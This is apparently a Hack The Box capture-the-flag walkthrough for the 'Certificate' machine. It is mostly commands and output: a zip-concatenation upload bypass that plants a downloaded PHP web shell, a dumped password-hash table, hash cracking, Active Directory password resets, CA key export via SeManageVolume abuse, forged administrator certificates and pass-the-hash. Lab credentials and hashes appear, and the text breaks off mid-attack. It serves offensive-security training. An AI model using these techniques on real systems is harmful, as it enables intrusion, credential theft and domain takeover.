10TH JUNE, 2025

Patch Unintended Solution

Removed a user from a group they were not intended to be in, preventing unintended solution.

Sara.B was originally part of Account Operators and could reset user passwords, no longer the case. PCAP is intended.

Enum

$ rustscan --ulimit 10000 -a 10.129.232.93 -- -sCTV -Pn
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-`
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
TCP handshake? More like a friendly high-five!
 
[~] Automatically increasing ulimit value to 10000.
Open 10.129.232.93:53
Open 10.129.232.93:80
Open 10.129.232.93:88
Open 10.129.232.93:135
Open 10.129.232.93:139
Open 10.129.232.93:389
Open 10.129.232.93:445
Open 10.129.232.93:464
Open 10.129.232.93:593
Open 10.129.232.93:636
Open 10.129.232.93:5985
Open 10.129.232.93:9389
Open 10.129.232.93:49666
Open 10.129.232.93:49686
Open 10.129.232.93:49685
Open 10.129.232.93:49688
Open 10.129.232.93:49707
Open 10.129.232.93:51110
Open 10.129.232.93:51124
 
PORT      STATE SERVICE       REASON  VERSION
53/tcp    open  domain        syn-ack Simple DNS Plus
80/tcp    open  http          syn-ack Apache httpd 2.4.58 (OpenSSL/3.1.3 PHP/8.0.30)
|_http-server-header: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: FBA180716B304B231C4029637CCF6481
|_http-title: Certificate | Your portal for certification
88/tcp    open  kerberos-sec  syn-ack Microsoft Windows Kerberos (server time: 2025-06-01 04:37:00Z)
135/tcp   open  msrpc         syn-ack Microsoft Windows RPC
139/tcp   open  netbios-ssn   syn-ack Microsoft Windows netbios-ssn
389/tcp   open  ldap          syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
|_ssl-date: 2025-06-01T04:38:30+00:00; +7h59m59s from scanner time.
445/tcp   open  microsoft-ds? syn-ack
464/tcp   open  kpasswd5?     syn-ack
593/tcp   open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      syn-ack Microsoft Windows Active Directory LDAP (Domain: certificate.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-06-01T04:38:29+00:00; +7h59m59s from scanner time.
| ssl-cert: Subject: commonName=DC01.certificate.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:DC01.certificate.htb
| Issuer: commonName=Certificate-LTD-CA/domainComponent=certificate
5985/tcp  open  http          syn-ack Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        syn-ack .NET Message Framing
49666/tcp open  msrpc         syn-ack Microsoft Windows RPC
49685/tcp open  ncacn_http    syn-ack Microsoft Windows RPC over HTTP 1.0
49686/tcp open  msrpc         syn-ack Microsoft Windows RPC
49688/tcp open  msrpc         syn-ack Microsoft Windows RPC
49707/tcp open  msrpc         syn-ack Microsoft Windows RPC
51110/tcp open  msrpc         syn-ack Microsoft Windows RPC
51124/tcp open  msrpc         syn-ack Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
 
Host script results:
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m58s

certificate.htb + dc01.certificate.htb /etc/hosts

$ echo "10.129.232.93 certificate.htb dc01.certificate.htb" | sudo tee -a /etc/hosts

Fix Time Skew

$ sudo npdate certified.htb

Gobuster directories

$ gobuster dir -u http://certificate.htb/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 60
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://certificate.htb/
[+] Method:                  GET
[+] Threads:                 60
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/static               (Status: 301) [Size: 343] [--> http://certificate.htb/static/]
/licenses             (Status: 403) [Size: 423]
/examples             (Status: 503) [Size: 404]
/%20                  (Status: 403) [Size: 304]
/*checkout*           (Status: 403) [Size: 304]
/phpmyadmin           (Status: 403) [Size: 423]
/webalizer            (Status: 403) [Size: 304]
/*docroot*            (Status: 403) [Size: 304]
/*                    (Status: 403) [Size: 304]
/con                  (Status: 403) [Size: 304]
/Static               (Status: 301) [Size: 343] [--> http://certificate.htb/Static/]
/http%3A              (Status: 403) [Size: 304]
/**http%3a            (Status: 403) [Size: 304]
/aux                  (Status: 403) [Size: 304]
/*http%3A             (Status: 403) [Size: 304]
/**http%3A            (Status: 403) [Size: 304]
/%C0                  (Status: 403) [Size: 304]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================
 
$ gobuster dir -u http://certificate.htb/static -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 60
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://certificate.htb/static
[+] Method:                  GET
[+] Threads:                 60
[+] Wordlist:                /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/img                  (Status: 301) [Size: 347] [--> http://certificate.htb/static/img/]
/uploads              (Status: 301) [Size: 351] [--> http://certificate.htb/static/uploads/]
/css                  (Status: 301) [Size: 347] [--> http://certificate.htb/static/css/]
/js                   (Status: 301) [Size: 346] [--> http://certificate.htb/static/js/]
/fonts                (Status: 301) [Size: 349] [--> http://certificate.htb/static/fonts/]
/%20                  (Status: 403) [Size: 304]
/IMG                  (Status: 301) [Size: 347] [--> http://certificate.htb/static/IMG/]
/Fonts                (Status: 301) [Size: 349] [--> http://certificate.htb/static/Fonts/]
/*checkout*           (Status: 403) [Size: 304]
/CSS                  (Status: 301) [Size: 347] [--> http://certificate.htb/static/CSS/]
/Img                  (Status: 301) [Size: 347] [--> http://certificate.htb/static/Img/]
/JS                   (Status: 301) [Size: 346] [--> http://certificate.htb/static/JS/]
/Uploads              (Status: 301) [Size: 351] [--> http://certificate.htb/static/Uploads/]
/*docroot*            (Status: 403) [Size: 304]
/*                    (Status: 403) [Size: 304]
/con                  (Status: 403) [Size: 304]
/http%3A              (Status: 403) [Size: 304]
/**http%3a            (Status: 403) [Size: 304]
/aux                  (Status: 403) [Size: 304]
/*http%3A             (Status: 403) [Size: 304]
/**http%3A            (Status: 403) [Size: 304]
/%C0                  (Status: 403) [Size: 304]
Progress: 87664 / 87665 (100.00%)
===============================================================
Finished
===============================================================

Cannot access /upload but might be important

http://certificate.htb

Register as Student account (Teacher does not function)

Log in Enroll in a Course

Will now see course content

Submit buttons reveal new endpoints : http://certificate.htb/upload.php?s_id=*

We find Upload Form

Upload Requirements

  • Please select the assignment file you want to upload (the file will be reviewed by the course instructor)
  • We accept only the following file types: .pdf .docx .pptx .xlsx
  • You include the assignment file in .zip archive file to reduce it’s size

Test file

$ touch test.docx
$ zip test.zip test.docx
  adding: test.docx (stored 0%)

We see what /uploads is for

After testing WAF limitations, we need to bypass via double zip concatenation and malicious file

I always try to use p0wny

$ curl -o p0wny.php https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100 20321  100 20321    0     0  50754      0 --:--:-- --:--:-- --:--:-- 50675
 
# Create PDF to pass filetype check
$ echo "asdf" > 1.pdf
 
$ 7z a a.zip 1.pdf
 
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:16 OPEN_MAX:1024, ASM
 
Open archive: a.zip
--
Path = a.zip
Type = zip
Physical Size = 22
 
Scanning the drive:
1 file, 5 bytes (1 KiB)
 
Updating archive: a.zip
 
Add new data to archive: 1 file, 5 bytes (1 KiB)
 
Files read from disk: 1
Archive size: 149 bytes (1 KiB)
Everything is Ok
 
$ 7z a b.zip p0wny.php
 
7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
 64-bit locale=en_US.UTF-8 Threads:16 OPEN_MAX:1024, ASM
 
Scanning the drive:
1 file, 20321 bytes (20 KiB)
 
Creating archive: payload.zip
 
Add new data to archive: 1 file, 20321 bytes (20 KiB)
 
Files read from disk: 1
Archive size: 4935 bytes (5 KiB)
Everything is Ok
 
# Concatenate both ZIPs
$ cat a.zip b.zip > c.zip

Upload c.zip

http://certificate.htb/static/uploads/8ad6b1453a685cd6a629959dcfb5039d/1.pdf

But we can now modfy the url to /p0wny.php and visit in browser (machine lags sometimes)

Enum filesytem and find credentials

$ dir C:\xampp\htdocs\certificate.htb

$ type C:\xampp\htdocs\certificate.htb\db.php

Internal mysql certificate_webapp_user : cert!f!c@teDBPWD dump db hashes

$ "C:\xampp\mysql\bin\mysql.exe" -ucertificate_webapp_user -pcert!f!c@teDBPWD -D certificate_webapp_db -e "SELECT * FROM users;"

id	first_name	last_name	username	email	password	created_at	role	is_active
1	Lorra	Armessa	Lorra.AAA	lorra.aaa@certificate.htb	$2y$04$bZs2FUjVRiFswY84CUR8ve02ymuiy0QD23XOKFuT6IM2sBbgQvEFG	2024-12-23 12:43:10	teacher	1
6	Sara	Laracrof	Sara1200	sara1200@gmail.com	$2y$04$pgTOAkSnYMQoILmL6MRXLOOfFlZUPR4lAD2kvWZj.i/dyvXNSqCkK	2024-12-23 12:47:11	teacher	1
7	John	Wood	Johney	johny009@mail.com	$2y$04$VaUEcSd6p5NnpgwnHyh8zey13zo/hL7jfQd9U.PGyEW3yqBf.IxRq	2024-12-23 13:18:18	student	1
8	Havok	Watterson	havokww	havokww@hotmail.com	$2y$04$XSXoFSfcMoS5Zp8ojTeUSOj6ENEun6oWM93mvRQgvaBufba5I5nti	2024-12-24 09:08:04	teacher	1
9	Steven	Roman	stev	steven@yahoo.com	$2y$04$6FHP.7xTHRGYRI9kRIo7deUHz0LX.vx2ixwv0cOW6TDtRGgOhRFX2	2024-12-24 12:05:05	student	1
10	Sara	Brawn	sara.b	sara.b@certificate.htb	$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6	2024-12-25 21:31:26	admin	1
12	asdf	asdf	asdf	asdf@asdf.com	$2y$04$tnipXggy9sMvEMpXD.vry.QiKtDUXCpM2sFkXB/3RKnbuy9.sSemi	2025-06-01 04:08:30	student	1

Crack hash for only valid account : sara.b

$ hashcat -m 3200 '$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6' /usr/share/wordlists/rockyou.txt
 
	$2y$04$CgDe/Thzw/Em/M4SkmXNbu0YdFo6uUs3nB.pzQPV.g8UdXikZNdH6:Blink182

sara.b : Blink182 Test Credentials

$ nxc winrm certificate.htb -u sara.b -p 'Blink182'
 
WINRM       10.129.232.93   5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:certificate.htb)
WINRM       10.129.232.93   5985   DC01             [+] certificate.htb\sara.b:Blink182 (Pwn3d!)
 
$ evil-winrm -i certificate.htb -u sara.b -p 'Blink182'
 
*Evil-WinRM* PS C:\Users\Sara.B\Documents> ls
 
    Directory: C:\Users\Sara.B\Documents
 
Mode                LastWriteTime         Length Name----------         ------ ----
d-----        11/4/2024  12:53 AM                WS-01
 
*Evil-WinRM* PS C:\Users\Sara.B\Documents> cd WS-01
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> ls
 
    Directory: C:\Users\Sara.B\Documents\WS-01
 
Mode                LastWriteTime         Length Name----------         ------ ----
-a----        11/4/2024  12:44 AM            530 Description.txt
-a----        11/4/2024  12:45 AM         296660 WS-01_PktMon.pcap
 
*Evil-WinRM* PS C:\Users\Sara.B\Documents\WS-01> cat Description.txt
The workstation 01 is not able to open the "Reports" smb shared folder which is hosted on DC01.
When a user tries to input bad credentials, it returns bad credentials error.
But when a user provides valid credentials the file explorer freezes and then crashes!

Intended Path

  • Network Miner 3.0 to scrape pcap file
  • Need to convert pcapng to pcap (Network Miner will notify of this)
$ editcap -F pcap WS-01_PktMon.pcap test.pcap

$krb5pa$18$Lion.SK$CERTIFICATE$CERTIFICATE.HTBLion.SK$23f5159fa1c66ed7b0e561543eba6c010cd31f7e4a4377c2925cf306b98ed1e4f3951a50bc083c9bc0f16f0f586181c9d4ceda3fb5e852f0
  • Now we can crack this hash
$ john lion.hash --wordlist=/usr/share/wordlists/rockyou.txt

STILL UPDATING





(OUTDATED) Unintended Path

We have information about WS-01 machine but lets check this out later (there is a path)

(OUTDATED) User

Run the hounds

$ nxc ldap 10.129.232.93 -u sara.b -p 'Blink182' --bloodhound --collection All --dns-server 10.129.232.93
 
SMB         10.129.232.93   445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:certificate.htb) (signing:True) (SMBv1:False)
LDAP        10.129.232.93   389    DC01             [+] certificate.htb\sara.b:Blink182
LDAP        10.129.232.93   389    DC01             Resolved collection methods: container, trusts, group, session, objectprops, psremote, localadmin, acl, dcom, rdp
LDAP        10.129.232.93   389    DC01             Done in 00M 11S
LDAP        10.129.232.93   389    DC01             Compressing output into /somepath/*_bloodhound.zip
 
$ mv /somepath_bloodhound.zip hound.zip

(OUTDATED) Bloodhound

Sara has GenericAll over Lion and Ryan account, so we can reset their passwords (bloodyAD or PS on Winrm)

$ bloodyAD -u sara.b -p 'Blink182' -d certificate.htb --host certificate.htb set password ryan.k 'NewP@ssword123'
[+] Password changed successfully!
$ bloodyAD -u sara.b -p 'Blink182' -d certificate.htb --host certificate.htb set password lion.sk 'NewP@ssword123'
[+] Password changed successfully!

Connect via Evil-Winrm

$ evil-winrm -i certificate.htb -u lion.sk -p 'NewP@ssword123'
 
*Evil-WinRM* PS C:\Users\Lion.SK\Documents> ls ../Desktop
 
    Directory: C:\Users\Lion.SK\Desktop
 
Mode                LastWriteTime         Length Name----------         ------ ----
-ar---         6/1/2025   3:57 AM             34 user.txt

Root1

DomainStorageManager Certipy to find ESC opportunities

$ certipy find -u ryan.k -p 'NewP@ssword123' -dc-ip 10.129.232.93 -vulnerable && certipy find -u lion.sk -p 'NewP@ssword123' -dc-ip 10.129.232.93 -vulnerable
 
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 18 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'Certificate-LTD-CA' via RRP
[*] Successfully retrieved CA configuration for 'Certificate-LTD-CA'
[*] Checking web enrollment for CA 'Certificate-LTD-CA' @ 'DC01.certificate.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '*_Certipy.txt'
[*] Wrote text output to '*_Certipy.txt'
[*] Saving JSON output to '*_Certipy.json'
[*] Wrote JSON output to '*_Certipy.json'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Finding certificate templates
[*] Found 35 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 12 enabled certificate templates
[*] Finding issuance policies
[*] Found 18 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'Certificate-LTD-CA' via RRP
[*] Successfully retrieved CA configuration for 'Certificate-LTD-CA'
[*] Checking web enrollment for CA 'Certificate-LTD-CA' @ 'DC01.certificate.htb'
[!] Error checking web enrollment: timed out
[!] Use -debug to print a stacktrace
[*] Saving text output to '*_Certipy.txt'
[*] Wrote text output to '*_Certipy.txt'
[*] Saving JSON output to '*_Certipy.json'
[*] Wrote JSON output to '*_Certipy.json'

We find potential vector for Certificate-LTD-CA

$ cat *_Certipy.txt
Certificate Authorities
  0
    CA Name                             : Certificate-LTD-CA
    DNS Name                            : DC01.certificate.htb
    Certificate Subject                 : CN=Certificate-LTD-CA, DC=certificate, DC=htb
    Certificate Serial Number           : 75B2F4BBF31F108945147B466131BDCA
    Certificate Validity Start          : 2024-11-03 22:55:09+00:00
    Certificate Validity End            : 2034-11-03 23:05:09+00:00
    Web Enrollment
      HTTP
        Enabled                         : False
      HTTPS
        Enabled                         : False
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Active Policy                       : CertificateAuthority_MicrosoftDefault.Policy
    Permissions
      Owner                             : CERTIFICATE.HTB\Administrators
      Access Rights
        ManageCa                        : CERTIFICATE.HTB\Administrators
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        ManageCertificates              : CERTIFICATE.HTB\Administrators
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Enroll                          : CERTIFICATE.HTB\Authenticated Users

Enroll - Authenticated users Anyone can use ESC1 manually

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> certutil -store My
 
My "Personal"
================ Certificate 0 ================
Archived!
Serial Number: 472cb6148184a9894f6d4d2587b1b165
Issuer: CN=certificate-DC01-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:30 PM
 NotAfter: 11/3/2029 3:40 PM
Subject: CN=certificate-DC01-CA, DC=certificate, DC=htb
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Cert Hash(sha1): 82ad1e0c20a332c8d6adac3e5ea243204b85d3a7
  Key Container = certificate-DC01-CA
  Provider = Microsoft Software Key Storage Provider
Missing stored keyset
 
================ Certificate 1 ================
Serial Number: 5800000002ca70ea4e42f218a6000000000002
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 8:14 PM
 NotAfter: 11/3/2025 8:14 PM
Subject: CN=DC01.certificate.htb
Certificate Template Name (Certificate Type): DomainController
Non-root Certificate
Template: DomainController, Domain Controller
Cert Hash(sha1): 779a97b1d8e492b5bafebc02338845ffdff76ad2
  Key Container = 46f11b4056ad38609b08d1dea6880023_7989b711-2e3f-4107-9aae-fb8df2e3b958
  Provider = Microsoft RSA SChannel Cryptographic Provider
Missing stored keyset
 
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:55 PM
 NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
  Key Container = Certificate-LTD-CA
  Provider = Microsoft Software Key Storage Provider
Missing stored keyset
CertUtil: -store command completed successfully.
 
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> certutil -exportPFX My "Certificate-LTD-CA" C:\Users\Public\ca.pfx
 
My "Personal"
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:55 PM
 NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
  Key Container = Certificate-LTD-CA
  Provider = Microsoft Software Key Storage Provider
Missing stored keyset
Enter new password for output file C:\Users\Public\ca.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command FAILED: 0x80090016 (-2146893802 NTE_BAD_KEYSET)
CertUtil: Keyset does not exist

Keyset not reachable currently Recall Domain Storage Manager group for Ryan

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> whoami /priv
 
PRIVILEGES INFORMATION----------------
 
Privilege Name                Description                      State
============================= ================================ =======
SeMachineAccountPrivilege     Add workstations to domain       Enabled
SeChangeNotifyPrivilege       Bypass traverse checking         Enabled
SeManageVolumePrivilege       Perform volume maintenance tasks Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set   Enabled

SeManageVolumePrivilege Might be able to abuse for shadow copy abuse and read key

https://github.com/CsEnox/SeManageVolumeExploit

https://github.com/xct/SeManageVolumeAbuse

Use the first one to avoid compiling

$ wget https://github.com/CsEnox/SeManageVolumeExploit/releases/download/public/SeManageVolumeExploit.exe
 
$ evil-winrm -i certificate.htb -u ryan.k -p 'NewP@ssword123'
 
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> upload SeManageVolumeExploit.exe
 
Data: 16384 bytes of 16384 bytes copied
Info: Upload successful!
 
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> .\SeManageVolumeExploit.exe
Entries changed: 840
 
DONE

Now lets try again

*Evil-WinRM* PS C:\Users\Ryan.K\Documents> certutil -exportPFX my "Certificate-LTD-CA" ca.pfx
my "Personal"
 
================ Certificate 2 ================
Serial Number: 75b2f4bbf31f108945147b466131bdca
Issuer: CN=Certificate-LTD-CA, DC=certificate, DC=htb
 NotBefore: 11/3/2024 3:55 PM
 NotAfter: 11/3/2034 4:05 PM
Subject: CN=Certificate-LTD-CA, DC=certificate, DC=htb
Certificate Template Name (Certificate Type): CA
CA Version: V0.0
Signature matches Public Key
Root Certificate: Subject matches Issuer
Template: CA, Root Certification Authority
Cert Hash(sha1): 2f02901dcff083ed3dbb6cb0a15bbfee6002b1a8
  Key Container = Certificate-LTD-CA
  Unique container name: 26b68cbdfcd6f5e467996e3f3810f3ca_7989b711-2e3f-4107-9aae-fb8df2e3b958
  Provider = Microsoft Software Key Storage Provider
Signature test passed
Enter new password for output file ca.pfx:
Enter new password:
Confirm new password:
CertUtil: -exportPFX command completed successfully.
 
*Evil-WinRM* PS C:\Users\Ryan.K\Documents> download ca.pfx
 
Info: Downloading C:\Users\Ryan.K\Documents\ca.pfx to ca.pfx
Info: Download successful!

Success! Again we needed shadow copy to access key. Now Forge admin pfx and authenticate

$ certipy forge -ca-pfx ca.pfx -upn administrator@certificate.htb -subject "CN=Administrator,CN=Users,DC=certificate,DC=htb"
 
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Saving forged certificate and private key to 'administrator_forged.pfx'
[*] Wrote forged certificate and private key to 'administrator_forged.pfx'
 
$ certipy auth -pfx administrator_forged.pfx -dc-ip 10.129.232.93
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Certificate identities:
[*]     SAN UPN: 'administrator@certificate.htb'
[*] Using principal: 'administrator@certificate.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@certificate.htb': aad3b435b51404eeaad3b435b51404ee:d804304519bf0143c14cbf1c024408c6
 
$ evil-winrm -i certificate.htb -u administrator -H 'd804304519bf0143c14cbf1c024408c6'
 
*Evil-WinRM* PS C:\Users\Administrator\Documents> dir ../Desktop
 
    Directory: C:\Users\Administrator\Desktop
 
Mode                LastWriteTime         Length Name----------         ------ ----
-ar---         6/1/2025   3:57 AM             34 root.txt

Root2 : ElectricBoogaloo

Recall Sara.b DCSync in bloodhound path

Certificate Templates
  0
    Template Name                       : Delegated-CRA
    Display Name                        : Delegated-CRA
    Certificate Authorities             : Certificate-LTD-CA
    Enabled                             : True
    Client Authentication               : False
    Enrollment Agent                    : True
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Certificate Request Agent
    Requires Manager Approval           : False
    Requires Key Archival               : False
    Authorized Signatures Required      : 0
    Schema Version                      : 2
    Validity Period                     : 1 year
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-05T19:52:09+00:00
    Template Last Modified              : 2024-11-05T19:52:10+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFICATE.HTB\Domain CRA Managers
                                          CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFICATE.HTB\Administrator
        Full Control Principals         : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Owner Principals          : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Dacl Principals           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Property Enroll           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
  1
    Template Name                       : SignedUser
    Display Name                        : Signed User
    Certificate Authorities             : Certificate-LTD-CA
    Enabled                             : True
    Client Authentication               : True
    Enrollment Agent                    : False
    Any Purpose                         : False
    Enrollee Supplies Subject           : False
    Certificate Name Flag               : SubjectAltRequireUpn
                                          SubjectAltRequireEmail
                                          SubjectRequireEmail
                                          SubjectRequireDirectoryPath
    Enrollment Flag                     : IncludeSymmetricAlgorithms
                                          PublishToDs
                                          AutoEnrollment
    Private Key Flag                    : ExportableKey
    Extended Key Usage                  : Client Authentication
                                          Secure Email
                                          Encrypting File System
    Requires Manager Approval           : False
    Requires Key Archival               : False
    RA Application Policies             : Certificate Request Agent
    Authorized Signatures Required      : 1
    Schema Version                      : 2
    Validity Period                     : 10 years
    Renewal Period                      : 6 weeks
    Minimum RSA Key Length              : 2048
    Template Created                    : 2024-11-03T23:51:13+00:00
    Template Last Modified              : 2024-11-03T23:51:14+00:00
    Permissions
      Enrollment Permissions
        Enrollment Rights               : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Domain Users
                                          CERTIFICATE.HTB\Enterprise Admins
      Object Control Permissions
        Owner                           : CERTIFICATE.HTB\Administrator
        Full Control Principals         : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Owner Principals          : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Dacl Principals           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Enterprise Admins
        Write Property Enroll           : CERTIFICATE.HTB\Domain Admins
                                          CERTIFICATE.HTB\Domain Users
                                          CERTIFICATE.HTB\Enterprise Admins
    [+] User Enrollable Principals      : CERTIFICATE.HTB\Domain Users
    [*] Remarks
      ESC3 Target Template              : Template can be targeted as part of ESC3 exploitation. This is not a vulnerability by itself. See the wiki for more details. Template requires a signature with the Certificate Request Agent application policy.

Sara = Account Operator and has GenericAll over WS-01 ESC3

*Evil-WinRM* PS C:\Users\Sara.B\Documents> net user sara.b /domain
 
User name                    Sara.B
Full Name                    Sara Baradek
Comment
User`s comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never
 
Password last set            11/3/2024 7:01:09 PM
Password expires             Never
Password changeable          11/4/2024 7:01:09 PM
Password required            Yes
User may change password     Yes
 
Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   12/26/2024 11:01:28 PM
 
Logon hours allowed          All
 
Local Group Memberships      *Account Operators
Global Group memberships     *Domain Users         *Help Desk
The command completed successfully.
 
*Evil-WinRM* PS C:\Users\Sara.B\Documents> dsquery computer -name WS-01
 
"CN=WS-01,CN=Computers,DC=certificate,DC=htb"

Shadow Creds

$ bloodyAD -u sara.b -p 'Blink182' -d certificate.htb --host certificate.htb add groupMember 'Enterprise Read-Only Domain Controllers' 'WS-01$'
 
[+] WS-01$ added to Enterprise Read-Only Domain Controllers
 
$ bloodyAD -u sara.b -p 'Blink182' -d certificate.htb --host certificate.htb add groupMember 'DOMAIN CRA MANAGERS' 'WS-01$'
[+] WS-01$ added to DOMAIN CRA MANAGERS
 
$ certipy shadow auto -username 'sara.b@certificate.htb' -p 'Blink182' -dc-ip 10.129.232.93 -account 'WS-01$'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
 
[*] Targeting user 'WS-01$'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '0673a9ab-3597-84f8-c3f0-81b9342312b0'
[*] Adding Key Credential with device ID '0673a9ab-3597-84f8-c3f0-81b9342312b0' to the Key Credentials for 'WS-01$'
[*] Successfully added Key Credential with device ID '0673a9ab-3597-84f8-c3f0-81b9342312b0' to the Key Credentials for 'WS-01$'
[*] Authenticating as 'WS-01$' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'ws-01$@certificate.htb'
[*] Trying to get TGT...
